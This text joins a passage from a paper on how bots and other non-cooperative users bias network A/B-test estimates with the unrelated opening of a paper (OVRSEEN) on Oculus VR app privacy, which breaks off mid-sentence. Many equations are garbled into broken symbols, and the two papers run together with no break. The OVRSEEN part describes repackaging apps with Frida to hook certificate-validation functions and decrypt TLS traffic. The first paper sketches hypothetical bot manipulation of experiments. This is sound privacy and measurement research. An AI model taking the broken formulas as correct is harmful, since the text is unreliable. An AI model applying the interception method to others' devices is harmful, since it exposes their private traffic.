of non-cooperative participant r in the network is in exposure
to treatment, sr. Now we consider the bias due to the network
effects of non-cooperative behavior.

Reasoning about bias due to non-cooperative network influ-
ence through parameter estimation is difficult, since the bias
due to non-cooperation is dependent on the strength of the
true network effect, g, which is only calculated in the linear
estimator through the portion of the neighborhood receiving
treatment. Further, even if non-cooperative outcome is sep-
arated into (1) the portion of its outcome independent of its
neighbors, (2) the portion of outcome due to unbiased peer
effects, and (3) the portion of outcome due to peer effects
from NCPs, we still must account for the non-cooperative
peer effects in i’s NCP-exposed neighbors in (2), which may
be exposed to a different non-cooperative participant than r.
Instead of reasoning about the strength of non-cooperative
diffusion, we can approximate the bias induced by a single
NCP r’s outcome on non-NCP neighbor j’s outcome using
the fact that Yr skews Yj relative to the distance between Yr

and the mean outcome of j’s neighbors excluding r: ȲA j\r.
Then the bias in Yj due to Yr is µ 1

d j
(Yr � ȲA j\r), where d j is

the degree of node j, and Yr is the outcome of non-cooperative
participant r under treatment assignment zr. So the total bias
induced by r on its neighbors’ outcome is approximated by:

b̂Y + ĝY = Â
j2Ar

1
d j

(Yr � ȲA j\r)

= wr Â
j2Ar

(Yr � ȲA j\r)⇡ wr(Yr � Ȳ
A2

r
)

(19)

where Ȳ
A2

r
is the mean outcome in r’s two-hop neighborhood.

Then the total ATE bias due to non-cooperative participants
in the network is:

dR(t,k) =
|R1|Y1R

�
Âs2 �ÂZs

�
+(N1 �ÂZs)

✓
Â

r2R

srYr

◆

N1 (Âs2)�ÂZs2

+ Â
r2R

wr

⇣
Yr � Ȳ

A2
r

⌘

(20)

5.4 Expected Bias

We now examine the expected bias under random and domi-
nating non-cooperative node placement (RQ2).

Recall the assumptions that NCPs behave according to
their treatment assignment, and are placed either uniformly
at random across the graph (RNCP), or greedily according
to graph structure (GNCP). That is, the GNCP procedure
does not consider treatment assignment across the graph in its
heuristic. For logical consistency, we will assume NCPs are
placed before treatment is assigned. Thus, in our expected bias
analysis, we will not optimize NCP placement with respect
to treatment assignment.

We specifically consider the bias induced by an NCP r on
its neighbors’ outcome, b̂Y + ĝY . We use this narrowed view
because the bias induced by non-cooperative outcome alone,
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b̂R + ĝR, is related to the placement of NCPs only through ex-
posure to treatment. In particular, it is related to the treatment
assignments across r’s neighborhood. Reasoning over behav-
ior on nodes exposed to both treatments is beyond the scope of
this work. For detailed discussion of the relationship between
clustering, neighborhood exposure, and ATE estimation, see
Ugander et al. [68]. For our analysis, we assume that a node
and its neighbors receive the same treatment assignment.

Here we discuss the expected ATE bias induced by k non-
cooperative participants in the graph. We will give expressions
for both random and dominating NCP placement. Note how-
ever that due to our assumption that each node has the same
treatment assignment as each of its neighbors, the only term
affected by NCP placement in expectation over b̂Y + ĝY is wr.

5.4.1 Random Placement

Under the RNCP placement protocol, we would expect the
average case bias from non-cooperative participants. We use
w̄ to denote expected influence of a randomly placed node,
whose expression is given by:

w̄ = E[w] =
N

Â
i=1

P(wi)wi (21)

where P(wi) is the probability of observing node influence
wi, determined by the degree distribution in the graph.

So the expected value of bias in network treatment effect
from k non-cooperative participants placed uniformly at ran-
dom is:

E
h
b̂Y + ĝY

i
= kw̄


N1

N

⇣
YR1 � Ȳ(1, A

2
G)

⌘
+

N0

N

⇣
YR0 � Ȳ(0, A

2
G)

⌘�

(22)

5.4.2 Greedy Coverage Placement

The expected value of ATE bias from NCPs placed under
the GNCP protocol follows a similar formulation except that
we maximize the total non-cooperative influence for a set
of k NCPs. Let w⇤

k
be the maximum total influence for a

dominating set of size k. Then the expected value of bias
in network treatment effect for non-cooperative participants
forming a dominating set over the graph is as follows:

E
h
b̂Y + ĝY

i
=w⇤

k


N1

N

⇣
YR1 � Ȳ(1, A

2
G)

⌘
+

N0

N

⇣
YR0 � Ȳ(0, A

2
G)

⌘�

(23)
Finding the dominating set that maximizes the total non-

cooperative influence for a set of k NCPs can be formulated as
a weighted maximum coverage problem, where the universe
U is the set of all nodes, each subset Si is a set containing the
node i and its neighbors, Si = {a 2 V (G) | a = i_9(a, i) 2
E(G)}, and each set’s weight w(i) = Âa2Si

1
da

= w0
a
, where

da is the degree of node a. The weighted maximum coverage

problem is NP-hard but can be approximated with a greedy
algorithm with an approximation ratio of 1 - 1

e , with e the
base of the natural logarithm. [49].

6 Simulation Study

To empirically demonstrate the effect of non-cooperative par-
ticipation on OSN effect estimation, we simulated outcomes
in a network and used the ATE estimation method of Gui et
al. [30] to estimate treatment effect in networks both with
and without non-cooperative interference. The experiments
consider outcome simulations over both synthetic and real-
world graph structures. We use simulations of outcomes over
a real-world graph structure as the closest analog to real-world
data available for this setting. Simulation studies like the one
presented in this work are not uncommon in the network sci-
ence or statistical relational literatures, where real-world data
measuring effect estimation is not available due to e.g., digital
privacy concerns, medical record privacy protections, etc. In
other cases, real-world data may be available, but the sample
size is small or otherwise inappropriate [24].

Where possible, we have substituted synthetic aspects of
the simulation study with publicly available empirical data
to improve the external validity of the study. This is in line
with best practice in evaluating causal effect estimation [28].
The real-world simulation experiments use real-world OSN
structure, published individual and peer effect estimates for
the same OSN platform, and the outcome simulation model
is drawn from prior work developed at a competing OSN.

6.1 Methodology

For a given graph, we generate a clustering of the graph and
assign clusters to treatment or control. We then generate a
dominating set of non-cooperative participants using a greedy
algorithm (GNCP). Recall that this procedure is guaranteed
to approximate the maximum total non-cooperative influence
within (1-e). A second NCP set of the same size is selected
uniformly at random from the graph (RNCP). Given this se-
lection procedure, the RNCP selected non-cooperative nodes
are not guaranteed to form a dominating set over the graph.

For specific settings of the individual treatment effect pa-
rameter l1 and peer effect parameter l2, we determine the
outcome function for compliant and non-cooperative nodes
under the outcome simulation model proposed in Eckles et
al. 2014 [23]. We then simulate outcomes iterating over the
set of NCP nodes—starting with an empty set and adding an
NCP to the previous set—ending with the entire dominating
set. For each NCP subset, we simulate outcomes Yi,t for each
node i up to t = 3. We use the linear estimator over generated
outcomes to estimate ATE for each subset of non-cooperative
participants. The estimated ATE for the experiment with no
non-cooperative interference is used as a baseline of compari-
son for ATE bias induced by NCPs.
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6.2 Network Structure

Synthetic graphs are generated under algorithms designed
to match properties of real-world networks, and which re-
sult in some form of community structure. Several induce a
power-law distribution over node degrees in generated graphs,
consistent with standard practice in the network science lit-
erature. This power-law relationship has been consistently
reported in real-world networks [50].

In addition to the synthetic graph experiments, we also
include an experiment simulation with non-cooperative par-
ticipants using empirical data.

6.2.1 Synthetic Graph Generation

Synthetic network graphs are generated using the same pro-
cedure reported in Section 5.2.2. Our results are consistent
within graph type, so we report single parameter settings. We
consider forest-fire models with forward burning probability
pff = 0.37 and backward burning ratio r = 0.892, small-world
networks with rewiring parameter psw = 0.05, and SBMs with
community mixing parameter µ = 0.2. Interestingly, the size
of the dominating set relative to the graph decreases as the
size of the graph increases for graphs with the same parame-
ter values. However, graphs of different size also produce the
same pattern of bias increases within graph type, so we report
results for graphs with 1000 nodes.

6.2.2 Real-World Graph Structure

For the real-world graph structure, we use a public release
of the Facebook subgraph [43] available through the SNAP
library [44]. This subgraph was collected by choosing a 10-
clique set of users and taking the subgraph induced by this
set of users and their neighborhoods. 3 This network sample
has 4039 nodes and 88,234 edges.

6.3 Outcome Simulation Model

The simulation model defines a protocol for treatment as-
signment and uses a linear model of outcome incorporating
individual, peer, and neighborhood-level effects on unit re-
sponse.

Treatment assignment. The experiment simulations use
cluster-randomized assignment to minimize treatment expo-
sure between treatment groups. We use the Infomap algorithm
for community detection [59] to generate a set of clusters over
the network with c clusters. We assign clusters to treatments
according to a binomial distribution B(c, 0.5).

3As a result of this subgraph sampling procedure, the 10-clique set of ego
nodes forms a dominating set over all 4039 nodes in the network sample.

Participant outcome model. Observed outcome values
were generated using the following linear model introduced
by Eckles et al. [23] and further adapted from Gui et al. [30] :

Yi,t = l0 +l1zi +l2
AiYt�1

Di,i
+Ui,t (24)

where zi is the treatment assignment of unit i, AiYt�1
Di,i

is the
mean outcome units neighboring unit i, and Ui,t ⇠N (0,0.1) is
an individual-level noise parameter. At t = 0, we set Y0,i = 0
for all i.

Outcome parameter values. Following the parameter as-
signments of [30], we set t = 3, l0 =�1.5, and we set indi-
vidual treatment parameters l1 2 {0.25,0.5,0.75,1} and peer
effect parameters l2 2 {0,0.1,0.5,1.0}.

In the simulation study using empirical data, we
also consider parameter values drawn from pub-
lished treatment effect estimates from experiments on
Facebook [22]: for individual treatment effect we set
l1 2 {1.845e�4,1.929e�4,1.995e�4}, and for peer treat-
ment effect we set l2 2 {1.086e�3,1.111e�3,1.136e�3}.

Non-cooperative outcome. Under the non-cooperative be-
havioral model Minimum, non-cooperative participants re-
spond to minimize the estimated ATE (described in Section 4).
Non-cooperative outcome is determined by l0 and l1:

Yr =

(
l0 if zr = 1,
l0 +l1 if zr = 0.

6.4 Synthetic Network Results

The simulation results in Figure 5 demonstrate the effect of
NCPs on the estimated treatment effect. The bias induced
by NCPs increases as the number of non-cooperative nodes
increases. GNCP placement generally results in greater bias
than RNCP placement, especially for large peer effect, l2. As
individual treatment effect l1 increases, the slope of the bias
increase remains constant. Under RNCP, the increase in peer
effect l2 has little effect. The dramatic changes in bias occur
with increases to peer effect for NCPs selected under GNCP.
For l2=1, SBMs with GNCP selection nearly double the ATE
bias of NCP-sets selected under RNCP.

The importance of peer effect strength also depends on
network topology. SBMs and forest-fire models are particu-
larly susceptible to bias in ATE for networks with large peer
effects, especially under GNCP selection procedures. These
two graph generation algorithms are often cited as producing
graphs closely resembling real-world networks, and SBMs in
particular are recommended as random graphs most closely
replicating real world community structure [40, 42, 74]. It is
interesting that these structures are also the most vulnerable
to non-cooperative biasing, even for relatively small sets of
non-cooperative participants.
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(a) forest-fire networks (N = 1000, pff=0.37,
r=0.892)

(b) small-world graphs (N = 1000, psw=0.05) (c) SBMs (N = 1000, µ=0.2)

Figure 5: Bias in estimated ATE for (a) forest-fire models, (b) small-world networks, and (c) SBMs under different assignments
of individual treatment and network treatment effects. Rows share individual treatment effect parameter settings, l1, and columns
share network treatment effect settings, l2. Note the difference in scales on the y-axis for adversary bias. Forest-fire networks and
SBMs exhibit significant bias with increases in the strength of peer effects, even for a small set of non-cooperative participants.

(a) 4039-node Facebook subgraph with published effect parameters (b) 4039-node Facebook subgraph with simulated effect parameters

Figure 6: Bias in estimated ATE on a subgraph from the Facebook graph using (a) published individual and peer effect
estimates [22], and (b) simulated individual and peer effect estimates [30]. Rows share individual treatment effect parameter
settings, l1, and columns share network treatment effect settings, l2. When effect size is small, RNCP placement results in
greater bias in ATE than GNCP placement. In general, there is greater variability in ATE bias under GNCP placement.

6.5 Real-World Network Results

Figure 6 shows the results of the Facebook graph simulation
under two sets of outcome simulation model parameters. In
general, there is greater variability in ATE bias under GNCP
placement. When the true individual and peer effect size are
small as in Figure 6a, RNCP results in greater bias in ATE

than under GNCP. This is consistent with the synthetic net-
work simulations with small peer effect. Results in Figure 6b
also show a similar pattern of bias increases as the synthetic
network experiments (Section 6.4), which use the same set-
tings for outcome parameters l1,l2.
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7 Implications

In this section, we outline two hypothetical but realistic sce-
narios to emphasize the implications of our work in both the
propositional and relational settings.

Propositional non-cooperative effects. In 2020, Twitter
introduced labels on tweets that may contain questionable con-
tent [60]. Two such labels were “Get the facts about COVID-
19.” (Label A) and “Some or all of the content shared in this
Tweet conflicts with guidance from public health experts re-
garding COVID-19. Learn more.” (Label B); if these two
labels are randomly assigned, they would constitute an A/B
test, or simple experiment. The outcome of this experiment is
the rate of spread of misinformation.

End-users would be aware of the new feature and may even
suspect that they were in an experiment. Now consider an
agent that controls a large number of fake or compromised
Twitter accounts (a botherder [13], for instance). Suspecting
Twitter’s goals, the agent may choose to behave in a manner
that propagates misinformation (and disinformation) about
COVID-19 vaccines. Such an adversary might instruct the
bots to behave in a way that influences the outcome of the
A/B test (e.g., by flooding one label with clicks).

Relational non-cooperative effects. Now consider Face-
book’s election-cycle voter engagement campaigns, in which
users received messages with reminders about election events
and notices about friends that had checked-in as voters [12,36].
In this scenario, the treatment is a dedicated post in the exper-
imental subject’s news feed. Following the design of Jones
et al. [36], the posts prominently feature a general-audience
message, “It’s election day. Tell friends you’re voting in the
2012 Election and find out where to vote.” (propositional;

Condition P), or may list specific users if at least one friend
had checked-in as having voted, “Kaleigh and 7 other friends
are voters. Find out where to vote.” (relational; Condition R).

Suppose Facebook is interested in evaluating click-through
rates of posts over both conditions P and R.4 Click-through
rates of users exposed to R may depend on the accounts fea-
tured in the message. Users exposed to P may still influence
their neighbor’s voting outcomes by sharing their own voting
status or other voting messaging as a result of their exposure
under P. If some accounts skip the check-in to obfuscate their
true voting status, that may influence the probability of adop-
tion of users that may have otherwise adopted if exposed to
the factual outcome. This is especially a concern when the
treatment cluster assignments are correlated with existing

polarization in the network communities.

4This is known as a 2x2 experimental design and it allows for the calcula-
tion of the effects of P only, R only, both P and R together, with no treatment
as the control condition.

Summary. These two example scenarios are based on real-
world experiments performed by social networking compa-
nies; the non-cooperative behavior is hypothetical, but demon-
strates how A/B testing can be subverted, leading to poten-
tially damaging real-world consequences (i.e., the inadvertent
sub-optimal stemming of COVID-19 misinformation in the
propositional scenario and the effects non-cooperative peer-
engagement on voting in the relational scenario). In view of
this, it is important for A/B testing operations to account for
ATE bias as discussed in Section 5.

8 Ethics of Correction

It is important to note that non-cooperation does not auto-
matically imply malicious or adversarial action. A user can
act as an adversary of the OSN system without being mali-

cious. In general, non-cooperative action may just as likely be
non-malicious as not, and we should be careful about strictly
adversarial framing of non-cooperative behavior [5]. Non-
cooperative behavior may be a means of e.g. denying infor-
mation to an OSN platform, which may protect against an au-
tomated system using information about the user that leads to
biased application of services downstream. Non-cooperative
behavior need not be directly related to the experiment under-
way (users may not know they are in an experiment), but those
behavioral choices may still affect outcome estimates, includ-
ing and especially when the treatment is cluster-randomized
and the non-cooperative behavior is observed by peers.

As further ethical consideration for calculating non-
cooperative bias terms for ATE correction, we note that this is,
necessarily, removing the outcomes of nodes identified as non-
cooperative. If those nodes share some feature (are acting to
e.g., preserve their privacy), this induces a data-missingness
selection bias on the corrected ATE estimates which may
algorithmically perpetuate existing bias and injustice [11, 29].

9 Discussion

Our work is related to other studies of non-cooperative be-
havior in the network setting. Some of these investigate the
spread of infection [45] or misinformation [15] in a network.
Other work examines detection of adversaries [4, 16, 69] or
measuring and analyzing the success of adversary integra-
tion in the network [1, 3]. The most similar work to ours in
structure is Yildiz et al. [73], who model opinion networks
that have “stubborn agents” placed in various configurations.
A graphical representation of this work would overlay the
network connectivity of Figure 2a with edges representing the
flow of opinion; there is no notion of treatment and outcome
in their framework, which fundamentally changes the prob-
lem formulation. This paper is the first to explore the effect of
bots and other non-cooperative participants in network A/B
testing.
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When handling non-cooperative units in experiments in net-
worked environments, there are three main problems or tasks:
non-cooperative detection, statistical bias correction, and poi-
soning prevention. This work focuses on correction, relying
on assumptions about our ability to identify non-cooperative
network members and know the model of their behavior.

Clearly there is a need for future work on the detection and
modeling of non-cooperative behavior in relational settings,
e.g., OSNs. A major challenge in such detection is differenti-
ating between strong opinion-holders and truly adversarial or
trollish behavior [18]. Classifying non-cooperative behavior is
a socio-technical issue and raises ethical concerns, especially
if it is done behind walled gardens.

That said, there is still a great deal to study about the in-
teraction of non-cooperative behavior and peer effects. As
future work, we are interested in the effects of additional
non-cooperative behavioral models. We have focused on
extreme-response models of non-cooperative behavior, but
non-cooperative participants may act under a wide range of
other behavioral models. NCPs may condition their outcome
behaviors according to not only their treatment assignment,
but the treatment assignment and behavior of their neighbors.
We might also consider less extreme non-cooperative behav-
ior models or mixtures of behavioral models. An interesting
approach to exploring this space might be to characterize the
trade-off between injecting ATE bias and avoiding detection.

This work also does not address the task of prevention.
While there are certainly sociological approaches to prevent
non-cooperative behavior, an alternative is to simply design
experiments that are robust to such behavior. Our work has
demonstrated that the ATE estimate using standard network
A/B testing protocols can be biased by non-cooperative behav-
ior. While there may be more robust estimators (e.g., median
treatment effect [41]), these estimators are not widely used.

10 Conclusion

This work presents an introductory analysis of the effect
of non-cooperative behavior on the average treatment effect
(ATE) estimate in networks. Non-cooperative behavior adds
a layer of complexity over peer effects in network experi-
ments and is a recognized issue in the literature not considered
in standard experimental analysis for the relational setting.
Our work demonstrates a vulnerability in cluster-randomized
network A/B testing to manipulation under non-cooperative
behavior, particularly for networks with long-tailed degree
distributions. We have shown that networks with strong peer
effects are susceptible to ATE bias from non-cooperative be-
havior and identified forest-fire models and SBMs as network
structures vulnerable to non-cooperative spillover effects. Our
experiments using a real-world network show results consis-
tent with our findings in synthetic networks.

————————-

Availability

Code to support graph generation, outcome simulation mod-
els, and empirical measurements of non-cooperative bias
used in the experiments and simulation studies presented in
this work is available at https://github.com/KDL-umass/
Non-cooperative-spillover.
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Abstract

Virtual reality (VR) is an emerging technology that enables
new applications but also introduces privacy risks. In this
paper, we focus on Oculus VR (OVR), the leading platform in
the VR space and we provide the first comprehensive analysis
of personal data exposed by OVR apps and the platform itself,
from a combined networking and privacy policy perspective.
We experimented with the Quest 2 headset and tested the
most popular VR apps available on the official Oculus and the
SideQuest app stores. We developed OVRSEEN, a method-
ology and system for collecting, analyzing, and comparing
network traffic and privacy policies on OVR. On the network-
ing side, we captured and decrypted network traffic of VR
apps, which was previously not possible on OVR, and we
extracted data flows, defined as happ, data type, destinationi.
Compared to the mobile and other app ecosystems, we found
OVR to be more centralized and driven by tracking and an-
alytics, rather than by third-party advertising. We show that
the data types exposed by VR apps include personally identi-
fiable information (PII), device information that can be used
for fingerprinting, and VR-specific data types. By comparing
the data flows found in the network traffic with statements
made in the apps’ privacy policies, we found that approxi-
mately 70% of OVR data flows were not properly disclosed.
Furthermore, we extracted additional context from the privacy
policies, and we observed that 69% of the data flows were
used for purposes unrelated to the core functionality of apps.

1 Introduction

Virtual reality (VR) technology has created an emerging mar-
ket: VR hardware and software revenues are projected to in-
crease from $800 million in 2018 to $5.5 billion in 2023 [50].
Among VR platforms, Oculus VR (OVR) is a pioneering, and
arguably the most popular one: within six months since Oc-
tober 2020, an estimated five million Quest 2 headsets were
sold [16, 20]. VR technology enables a number of applica-
tions, including recreational games, physical training, health
therapy, and many others [49].

VR also introduces privacy risks: some are similar to those
on other Internet-based platforms (e.g., mobile phones [12,13],
IoT devices [3, 17], and Smart TVs [35, 64]), but others are
unique to VR. For example, VR headsets and hand controllers

are equipped with sensors that may collect data about the
user’s physical movement, body characteristics and activity,
voice activity, hand tracking, eye tracking, facial expressions,
and play area [25, 34], which may in turn reveal information
about our physique, emotions, and home. The privacy aspects
of VR platforms are currently not well understood [2].

To the best of our knowledge, our work is the first large
scale, comprehensive measurement and characterization of
privacy aspects of OVR apps and platform, from a combined
network and privacy policy point of view. We set out to char-
acterize how sensitive information is collected and shared
in the VR ecosystem, in theory (as described in the privacy
policies) and in practice (as exhibited in the network traffic
generated by VR apps). We center our analysis around the
concept of data flow, which we define as the tuple happ, data
type, destinationi extracted from the network traffic. First,
we are interested in the sender of information, namely the
VR app. Second, we are interested in the exposed data types,
including personally identifiable information (PII), device in-
formation that can be used for fingerprinting, and VR sensor
data. Third, we are interested in the recipient of the infor-
mation, namely the destination domain, which we further
categorize into entity or organization, first vs. third party w.r.t.
the sending app, and ads and tracking services (ATS). Inspired
by the framework of contextual integrity [38], we also seek
to characterize whether the data flows are appropriate or not
within their context. More specifically, our notion of context
includes: consistency, i.e., whether actual data flows extracted
from network traffic agree with the corresponding statements
made in the privacy policy; purpose, extracted from privacy
policies and confirmed by destination domains (e.g., whether
they are ATS); and other information (e.g., “notice and con-
sent”). Our methodology and system, OVRSEEN, is depicted
on Fig. 1. Next we summarize our methodology and findings.

Network traffic: methodology and findings. We were
able to explore 140 popular, paid and free, OVR apps; and
then capture, decrypt, and analyze the network traffic they
generate in order to assess their practices with respect to col-
lection and sharing of personal data on the OVR platform.

OVRSEEN collects network traffic without rooting the
Quest 2, by building on the open-source AntMonitor [51],
which we had to modify to work on the Android 10-based Ocu-
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Figure 1: Overview of OVRSEEN. We select the most popular apps from the official Oculus and SideQuest app stores. First, we
experiment with them and analyze their network traffic: (1) we obtain raw data in PCAPNG and JSON; (2) we extract data
flows happ, data type, destinationi; and (3) we analyze them w.r.t. data types and ATS ecosystem. Second, we analyze the same
apps’ (and their used libraries’) privacy policies: (4) we build VR-specific data and entity ontologies, informed both by network
traffic and privacy policy text; and (5) we extract collection statements happ, data type, entityi from the privacy policy. Third,
we compare the two: (6) using our improved PoliCheck, we map each data flow to a collection statement, and we perform
network-to-policy consistency analysis. Finally, (7) we translate the sentence containing the collection statement into a text
segment that Polisis can use to extract the data collection purpose. The end result is that data flows, extracted from network
traffic, are augmented with additional context, such as consistency with policy and purpose of collection.

lus OS. Furthermore, we successfully addressed new technical
challenges for decrypting network traffic on OVR. OVRSEEN
combines dynamic analysis (using Frida [42]) with binary
analysis to find and bypass certificate validation functions,
even when the app contains a stripped binary [63]. This was a
challenge specific to OVR: prior work on decrypting network
traffic on Android [35,52] hooked into standard Android SDK
functions and not the ones packaged with Unity and Unreal,
which are the basis for game apps.

We extracted and analyzed data flows found in the col-
lected network traffic from the 140 OVR apps, and we made
the following observations. We studied a broad range of 21
data types that are exposed and found that 33 and 70 apps
send PII data types (e.g., Device ID, User ID, and Android
ID) to first-and third-party destinations, respectively (see Ta-
ble 3). Notably, 58 apps expose VR sensory data (e.g., physi-
cal movement, play area) to third-parties. We used state-of-
the-art blocklists to identify ATS and discovered that, unlike
other popular platforms (e.g., Android and Smart TVs), OVR
exposes data primarily to tracking and analytics services, and
has a less diverse tracking ecosystem. Notably, the blocklists
identified only 36% of these exposures. On the other hand,
we found no data exposure to advertising services as ads on
OVR is still in an experimental phase [41].

Privacy policy: methodology and findings. We provide
an NLP-based methodology for analyzing the privacy policies

that accompany VR apps. More specifically, OVRSEEN maps
each data flow (found in the network traffic) to its correspond-
ing data collection statement (found in the text of the privacy
policy), and checks the consistency of the two. Furthermore,
it extracts the purpose of data flows from the privacy pol-
icy, as well as from the ATS analysis of destination domains.
Consistency, purpose, and additional information provide con-
text, in which we can holistically assess the appropriateness
of a data flow [38]. Our methodology builds on, combines,
and improves state-of-the-art tools originally developed for
mobile apps: PolicyLint [4], PoliCheck [5], and Polisis [19].
We curated VR-specific ontologies for data types and entities,
guided by both the network traffic and privacy policies. We
also interfaced between different NLP models of PoliCheck
and Polisis to extract the purpose behind each data flow.

Our network-to-policy consistency analysis revealed that
about 70% of data flows from VR apps were not disclosed
or consistent with their privacy policies: only 30% were con-
sistent. Furthermore, 38 apps did not have privacy policies,
including apps from the official Oculus app store. Some app
developers also had the tendency to neglect declaring data
collected by the platform and third parties. We found that by
automatically including these other parties’ privacy policies
in OVRSEEN’s network-to-policy consistency analysis, 74%
of data flows became consistent. We also found that 69%
of data flows have purposes unrelated to the core function-
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ality (e.g., advertising, marketing campaigns, analytics), and
only a handful of apps are explicit about notice and consent.
OVRSEEN’s implementation and datasets are made available
at [59].

Overview. The rest of this paper is structured as follows.
Section 2 provides background on the OVR platform and its
data collection practices that motivate our work. Section 3
provides the methodology and results for OVRSEEN’s net-
work traffic analysis. Section 4 provides the methodology and
results for OVRSEEN’s policy analysis, network-to-policy
consistency analysis, and purpose extraction. Section 5 dis-
cusses the findings and provides recommendations. Section 6
discusses related work. Section 7 concludes the paper.

2 Oculus VR Platform and Apps

In this paper, we focus on the Oculus VR (OVR), a represen-
tative of state-of-the art VR platform. A pioneer and leader
in the VR space, OVR was bought by Facebook in 2014 [16]
(we refer to both as “platform-party”), and it maintains to
be the most popular VR platform today. Facebook has inte-
grated more social features and analytics to OVR and now
even requires users to sign in using a Facebook account [39].

We used the latest Oculus device, Quest 2, for testing. Quest
2 is completely wireless: it can operate standalone and run
apps, without being connected to other devices. In contrast,
e.g., Sony Playstation VR needs to be connected to a Playsta-
tion 4 as its game controller. Quest 2 runs Oculus OS, a variant
of Android 10 that has been modified and optimized to run
VR environments and apps. The device comes with a few
pre-installed apps, such as the Oculus browser. VR apps are
usually developed using two popular game engines called
Unity [62] and Unreal [15]. Unlike traditional Android apps
that run on Android JVM, these 3D app development frame-
works compile VR apps into optimized (i.e., stripped) binaries
to run on Quest 2 [63].

Oculus has an official app store and a number of third-
party app stores. The Oculus app store offers a wide range
of apps (many of them are paid), which are carefully curated
and tested (e.g., for VR motion sickness). In addition to the
Oculus app store, we focus on SideQuest—the most popular
third-party app store endorsed by Facebook [32]. In contrast
to apps from the official store, apps available on SideQuest
are typically at their early development stage and thus are
mostly free. Many of them transition from SideQuest to the
Oculus app store once they mature and become paid apps. As
of March 2021, the official Oculus app store has 267 apps
(79 free and 183 paid), and the SideQuest app store has 1,075
apps (859 free and 218 paid).

Motivation: privacy risks in OVR. VR introduces pri-
vacy risks, some of which are similar to other Internet-based
platforms (e.g., Android [12, 13], IoT devices [3, 17], Smart

TVs [35, 64]), etc.), while others are unique to the VR plat-
form. For example, VR headsets and hand controllers are
equipped with sensors that collect data about the user’s physi-
cal movement, body characteristics, voice activity, hand track-
ing, eye tracking, facial expressions, and play area [25,34,36],
which may in turn reveal sensitive information about our
physique, emotions, and home. Quest 2 can also act as a fit-
ness tracker, thanks to the built-in Oculus Move app that
tracks time spent for actively moving and amount of calories
burned across all apps [40]. Furthermore, Oculus has been
continuously updating their privacy policy with a trend of
increasingly collecting more data over the years. Most no-
tably, we observed a major update in May 2018, coinciding
with the GDPR implementation date. Many apps have no pri-
vacy policy, or fail to properly include the privacy policies of
third-party libraries. Please see Appendix A in [58] for more
detail on observations that motivated our study, and Section 6
on related work. The privacy risks on the relatively new VR
platform are not yet well understood.

Goal and approach: privacy analysis of OVR. In this pa-
per, we seek to characterize the privacy risks introduced when
potentially-sensitive data available on the device are sent by
the VR apps and/or the platform to remote destinations for var-
ious purposes. We followed an experimental and data-driven
approach, and we chose to test and analyze the most popular
VR apps. In Section 3, we characterize the actual behavior
exhibited in the network traffic generated by these VR apps
and platform. In Section 4, we present how we downloaded
the privacy policies of the selected VR apps, the platform,
and relevant third-party libraries, used NLP to extract and
analyze the statements made about data collection, analyzed
their consistency when compared against the actual data flows
found in traffic, and extracted the purpose of data collection.

App corpus. We selected OVR apps that are widely used by
players. Our app corpus consists of 150 popular paid and free
apps from both the official Oculus app store and SideQuest.
In contrast, previous work typically considered only free apps
from the official app store [12,13,35,64]. We used the number
of ratings/reviews as the popularity metric, and considered
only apps that received at least 3.5 stars. We selected three
groups of 50 apps each: (1) the top-50 free apps and (2) the
top-50 paid apps from the Oculus app store, and (3) the top-50
apps from the SideQuest store. We selected an equal number
of paid and free apps from the Oculus app store to gain insight
into both groups equally. We purposely did not just pick the
top-100 apps, because paid apps tend to receive more reviews
from users and this would bias our findings towards paid apps.
Specifically, this would make our corpus consist of 90% paid
and 10% free apps.

Our app corpus is representative of both app stores. Our top-
50 free and top-50 paid Oculus apps constitute close to 40%
of all apps on the Oculus app store, whereas the total number
of downloads of our top-50 SideQuest apps is approximately
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45% of all downloads for the SideQuest store. Out of these
150 apps, selected for their popularity and representativeness,
we were able to decrypt and analyze the network traffic for
140 of them for reasons explained in Section 3.2.1.

3 OVRSEEN: Network Traffic

In this section, we detail our methodology for collecting
and analyzing network traffic. In Section 3.1, we present
OVRSEEN’s system for collecting network traffic and high-
light our decryption technique. Next, in Section 3.2, we de-
scribe our network traffic dataset and the extracted data flows.
In Section 3.3, we report our findings on the OVR ATS ecosys-
tem by identifying domains that were labeled as ATS by pop-
ular blocklists. Finally, in Section 3.4, we discuss data types
exposures in the extracted data flows according to the context
based on whether their destination is an ATS or not.

3.1 Network Traffic Collection

In this section, we present OVRSEEN’s system for collecting
and decrypting the network traffic that apps generate ( 1 in
Fig. 1). It is important to mention that OVRSEEN does not re-
quire rooting Quest 2, and as of June 2021, there are no known
methods for doing so [21]. Since the Oculus OS is based on
Android, we enhanced AntMonitor [51] to support the Oculus
OS. Furthermore, to decrypt TLS traffic, we use Frida [42], a
dynamic instrumentation toolkit. Using Frida to bypass cer-
tificate validation specifically for Quest 2 apps presents new
technical challenges, compared to Android apps that have a
different structure. Next, we describe these challenges and
how we address them.

Traffic collection. For collecting network traffic,
OVRSEEN integrates AntMonitor [51]—a VPN-based
tool for Android that does not require root access. It runs
completely on the device without the need to re-route
traffic to a server. AntMonitor stores the collected traffic
in PCAPNG format, where each packet is annotated (in
the form of a PCAPNG comment) with the name of the
corresponding app. To decrypt TLS connections, AntMonitor
installs a user CA certificate. However, since Oculus OS
is a modified version of Android 10, and AntMonitor only
supports up to Android 7, we made multiple compatibility
changes to support Oculus OS. In addition, we enhanced
the way AntMonitor stores decrypted packets: we adjust the
sequence and ack numbers to make packet re-assembly by
common tools (e.g., tshark) feasible in post-processing.
We will submit a pull request to AntMonitor’s open-source
repository, so that other researchers can make use of it, not
only on Quest 2, but also on other newer Android devices.
For further details, see Appendix B.1 in [58].

TLS decryption. Newer Android devices, such as Quest
2, pose a challenge for TLS decryption: as of Android 7,

apps that target API level 24 (Android 7.0) and above no
longer trust user-added certificates [7]. Since Quest 2 cannot
be rooted, we cannot install AntMonitor’s certificate as a sys-
tem certificate. Thus, to circumvent the mistrust of AntMoni-
tor’s certificate, OVRSEEN uses Frida (see Fig. 1) to intercept
certificate validation APIs. To use Frida in a non-rooted envi-
ronment, we extract each app and repackage it to include and
start the Frida server when the app loads. The Frida server
then listens to commands from a Frida client that is running
on a PC using ADB. Although ADB typically requires a USB
connection, we run ADB over TCP to be able to use Quest 2
wirelessly, allowing for free-roaming testing of VR apps.

OVRSEEN uses the Frida client to load and inject our cus-
tom JavaScript code that intercepts various APIs used to ver-
ify CA certificates. In general, Android and Quest 2 apps
use three categories of libraries to validate certificates: (1)
the standard Android library, (2) the Mbed TLS library [61]
provided by the Unity SDK, and (3) the Unreal version of the
OpenSSL library [14]. OVRSEEN places Frida hooks into
the certificate validation functions provided by these three
